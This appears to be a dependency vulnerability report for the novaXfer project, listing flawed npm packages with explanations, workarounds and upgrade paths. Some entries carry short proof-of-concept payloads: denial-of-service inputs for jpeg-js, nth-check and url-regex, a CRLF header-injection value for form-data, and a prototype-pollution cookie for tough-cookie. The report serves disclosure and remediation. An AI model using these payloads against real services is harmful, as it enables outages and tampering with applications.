Affected versions of this package are vulnerable to Internal Property Tampering. The package will ignore an unknown value for an object's _bsotype, leading to cases where an object is serialized as a document rather than the intended BSON type.
NOTE: This vulnerability has also been identified as: CVE-2020-7610
Remediation
Upgrade bson to version 1.1.4 or higher.
References
high severity
- Vulnerable module: @angular/common
- Introduced through: @angular/common@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/common@4.4.7Remediation: Upgrade to @angular/common@19.2.16.
Overview
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data via the HttpClient which has a built-in XSRF protection mechanism. An attacker can obtain sensitive authentication tokens by crafting requests using protocol-relative URLs that cause the token to be sent to domains under the attacker's control.
Note: This is only exploitable if XSRF protection is enabled and the application allows requests to protocol-relative URLs.
Workaround
This vulnerability can be mitigated by avoiding the use of protocol-relative URLs (those starting with //) in requests and ensuring all backend communication URLs are either relative paths or fully qualified, trusted absolute URLs.
Remediation
Upgrade @angular/common to version 19.2.16, 20.3.14, 21.0.1 or higher.
References
high severity
new
- Vulnerable module: @angular/common
- Introduced through: @angular/common@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/common@4.4.7Remediation: Upgrade to @angular/common@20.3.27.
Overview
Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in the HttpTransferCache used for server-side rendering, which builds the transfer-cache key by joining repeated HttpParams values with commas so that distinct parameter shapes produce the same key. An attacker can poison the SSR transfer cache and cause one request's response to be served for another by sending a request whose comma-separated scalar value, such as role=user,admin, serializes identically to a legitimate request built with repeated parameters, such as append('role', 'user').append('role', 'admin'). This affects SSR applications using HttpClient where the same URL is requested with repeated query parameters.
Workaround
This vulnerability can be avoided by disabling the transfer cache for the affected requests with { transferCache: false }, or globally with the withNoHttpTransferCache() provider, which removes the ambiguous cached responses at the cost of the SSR caching optimization.
Remediation
Upgrade @angular/common to version 20.3.27, 21.2.19, 22.0.2 or higher.
References
high severity
- Vulnerable module: xmldom
- Introduced through: pdf2table@0.0.1
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › pdf2table@0.0.1 › pdf2json@0.7.1 › xmldom@0.6.0
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to XML Injection via the XMLSerializer() function. An attacker can manipulate the structure and integrity of generated XML documents by injecting attacker-controlled markup containing the CDATA terminator ]]> through CDATA section content, which is not properly validated or sanitized during serialization. This can result in unauthorized XML elements or attributes being inserted, potentially leading to business logic manipulation or privilege escalation in downstream consumers.
Remediation
There is no fixed version for xmldom.
References
high severity
- Vulnerable module: @angular/core
- Introduced through: @angular/core@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/core@4.4.7Remediation: Upgrade to @angular/core@19.2.19.
Overview
@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the i18n pipeline when HTML from translated content in ICU messages is not properly sanitized. An attacker can execute arbitrary JavaScript in the application origin by compromising the translation file (such as xliff or xtb) and injecting malicious content.
Note:
This is only exploitable if the application uses Angular i18n, includes one or more ICU messages, renders an ICU message, and does not defend against script injection via a strict content security policy.
Workaround
This vulnerability can be mitigated by reviewing and verifying translated content received from untrusted third parties before incorporating it, enabling strict CSP controls to block unauthorized JavaScript, and enabling Trusted Types to enforce proper HTML sanitization.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade @angular/core to version 19.2.19, 20.3.17, 21.1.6, 21.2.0 or higher.
References
high severity
- Vulnerable module: jpeg-js
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › jimp@0.9.8 › @jimp/types@0.9.8 › @jimp/jpeg@0.9.8 › jpeg-js@0.3.7Remediation: Upgrade to gulp-favicons@3.0.0.
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › resize-img@1.1.2 › jimp@0.2.28 › jpeg-js@0.2.0
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › resize-img@1.1.2 › jpeg-js@0.1.2
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) where a particular piece of input will cause to enter an infinite loop and never return.
PoC
- Create a npm workspace
npm init - Install the
jpeg-jslibrary - Create a JS file with the following code:
const jpeg = require('jpeg-js');
let buf = Buffer.from( 'ffd8ffc1f151d800ff51d800ffdaffde', 'hex' );
jpeg.decode( buf );
- Run the file and observe that the code never stops running
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade jpeg-js to version 0.4.4 or higher.
References
high severity
- Vulnerable module: mongodb
- Introduced through: mongodb@2.2.36
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › mongodb@2.2.36Remediation: Upgrade to mongodb@3.1.13.
Overview
mongodb is an official MongoDB driver for Node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS). The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mongodb to version 3.1.13 or higher.
References
high severity
- Vulnerable module: nth-check
- Introduced through: cheerio@0.22.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › cheerio@0.22.0 › css-select@1.2.0 › nth-check@1.0.2Remediation: Upgrade to cheerio@1.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when parsing crafted invalid CSS nth-checks, due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? in RE_NTH_ELEMENT with quantified overlapping adjacency.
PoC
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade nth-check to version 2.0.1 or higher.
References
high severity
- Vulnerable module: url-regex
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › resize-img@1.1.2 › jimp@0.2.28 › url-regex@3.2.0
Overview
url-regex is a package with regular expression for matching URLs
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker providing a very long string in String.test can cause a Denial of Service.
PoC by Nick Baugh
For url-regex package:
require('url-regex')({ strict: false }).test('018137.113.215.4074.138.129.172220.179.206.94180.213.144.175250.45.147.1364868726sgdm6nohQ')
For urlregex package:
require('urlregex')({ strict: false }).test('018137.113.215.4074.138.129.172220.179.206.94180.213.144.175250.45.147.1364868726sgdm6nohQ')
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for url-regex.
References
high severity
new
- Vulnerable module: sharp
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4Remediation: Upgrade to gulp-favicons@4.0.0.
Overview
sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the bundled libvips TIFF loader (VipsForeignLoadTiff), which can miscount the channels of a tile encoded as JPEG or JPEG2000 within a TIFF image. An attacker can corrupt heap memory and crash the process, with a possibility of code execution, by supplying a TIFF whose JPEG or JPEG2000 tiles cause the channel count to be misdetermined and the buffer undersized. Exploitation requires the application to decode an untrusted TIFF with JPEG or JPEG2000 tiles through sharp.
Workaround
This vulnerability can be avoided by blocking the TIFF loader through sharp's block() for the VipsForeignLoadTiff operation, or by setting the VIPS_BLOCK_UNTRUSTED environment variable, so untrusted TIFF images are not decoded.
Remediation
Upgrade sharp to version 0.35.0 or higher.
References
high severity
new
- Vulnerable module: sharp
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4Remediation: Upgrade to gulp-favicons@4.0.0.
Overview
sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images
Affected versions of this package are vulnerable to Integer Overflow leading to a heap buffer overflow in the bundled libvips VIPS loader (VipsForeignLoadVips), which can miscompute image dimensions. An attacker can corrupt heap memory and crash the process, with a possibility of code execution, by supplying a VIPS (.vips) image whose dimensions overflow the size calculation. Exploitation requires the application to decode an untrusted VIPS image through sharp.
Workaround
This vulnerability can be avoided by blocking the VIPS loader through sharp's block() for the VipsForeignLoadVips operation, or by setting the VIPS_BLOCK_UNTRUSTED environment variable, so untrusted VIPS images are not decoded.
Remediation
Upgrade sharp to version 0.35.0 or higher.
References
medium severity
- Vulnerable module: form-data
- Introduced through: request@2.88.2 and gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › request@2.88.2 › form-data@2.3.3
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › resize-img@1.1.2 › jimp@0.2.28 › request@2.88.2 › form-data@2.3.3
Overview
Affected versions of this package are vulnerable to CRLF Injection via the _multiPartHeader function when untrusted input is provided via field or filename to FormData#append. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers.
PoC
const FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());
Remediation
Upgrade form-data to version 2.5.6, 3.0.5, 4.0.6 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4 › tar@5.0.11
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast via the src/pax.ts file. An attacker can cause a process crash by providing all-digit PAX path or linkpath values that are coerced to JavaScript numbers, leading to a TypeError during downstream path handling.
Remediation
Upgrade tar to version 7.5.18 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4 › tar@5.0.11
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of PAX extended header size overrides in intermediary metadata headers. An attacker can cause inconsistent archive parsing results between different tar implementations by crafting a malicious tar archive that desynchronizes the parser's interpretation, potentially hiding files from scanners or extractors that rely on different tools.
Remediation
Upgrade tar to version 7.5.16 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4 › tar@5.0.11
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncaught Exception through improper handling of NUL bytes in the src/pax.ts file. An attacker can cause the application to terminate unexpectedly by providing a crafted archive containing NUL bytes in PAX path or linkpath records, which leads to an uncaught exception when these values are passed to filesystem operations.
Remediation
Upgrade tar to version 7.5.17 or higher.
References
medium severity
new
- Vulnerable module: tar
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4 › tar@5.0.11
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncontrolled Recursion in the mapHas helper and filesFilter function in src/list.ts, which walk an entry path upward with one path.dirname() call per recursion and no segment cap. An attacker can terminate the Node process with an uncatchable stack-overflow RangeError by supplying a tar archive whose GNU L or PAX x long-path header carries tens of thousands of /-separated segments, when that archive is listed or extracted with a member-selection filter. Exploitation requires the application to call tar.t() or tar.x() with a non-empty member-selection list on an untrusted archive, and on async or streaming consumers the error is uncatchable while synchronous APIs can catch it.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade tar to version 7.5.21 or higher.
References
medium severity
new
- Vulnerable module: sharp
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4Remediation: Upgrade to gulp-favicons@4.0.0.
Overview
sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images
Affected versions of this package are vulnerable to Integer Overflow in the bundled libvips GIF loader (VipsForeignLoadNsgif), which can miscompute image dimensions on 32-bit systems. An attacker can crash the process by supplying a GIF whose dimensions overflow the size calculation. Exploitation affects only 32-bit systems and requires the application to decode an untrusted GIF through sharp.
Workaround
This vulnerability can be avoided by blocking the GIF loader through sharp's block() for the VipsForeignLoadNsgif operation, or by setting the VIPS_BLOCK_UNTRUSTED environment variable, so untrusted GIF images are not decoded.
Remediation
Upgrade sharp to version 0.35.0 or higher.
References
medium severity
new
- Vulnerable module: sharp
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4Remediation: Upgrade to gulp-favicons@4.0.0.
Overview
sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images
Affected versions of this package are vulnerable to Out-of-bounds Read and null pointer dereference in the bundled libvips EXIF decoder, which does not validate the range of EXIF tag groups before passing them to libexif. An attacker can crash the process by supplying an image whose embedded EXIF metadata carries an out-of-range tag group. Exploitation requires the application to process an untrusted image whose EXIF metadata sharp reads.
Remediation
Upgrade sharp to version 0.35.0 or higher.
References
medium severity
- Vulnerable module: request
- Introduced through: request@2.88.2 and gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › request@2.88.2
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › resize-img@1.1.2 › jimp@0.2.28 › request@2.88.2
Overview
request is a simplified http request client.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.
Remediation
A fix was pushed into the master branch but not yet published.
References
medium severity
- Vulnerable module: sharp
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4Remediation: Upgrade to gulp-favicons@4.0.0.
Overview
sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images
Affected versions of this package are vulnerable to Remote Code Execution (RCE). There is a possible vulnerability in logic that is run only at npm install time when installing the package. If an attacker has the ability to set the value of the PKG_CONFIG_PATH environment variable in a build environment then they might be able to use this to inject an arbitrary command at npm install time. This is not part of any runtime code and does not affect Windows users at all.
Remediation
Upgrade sharp to version 0.30.5 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4 › tar@5.0.11Remediation: Upgrade to gulp-favicons@3.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.
Remediation
Upgrade tar to version 6.2.1 or higher.
References
medium severity
- Vulnerable module: tough-cookie
- Introduced through: request@2.88.2 and gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › resize-img@1.1.2 › jimp@0.2.28 › request@2.88.2 › tough-cookie@2.5.0
Overview
tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.
Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.
PoC
// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
"Slonser=polluted; Domain=__proto__; Path=/notauth",
"https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
"Auth=Lol; Domain=google.com; Path=/notauth",
"https://google.com/"
);
//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
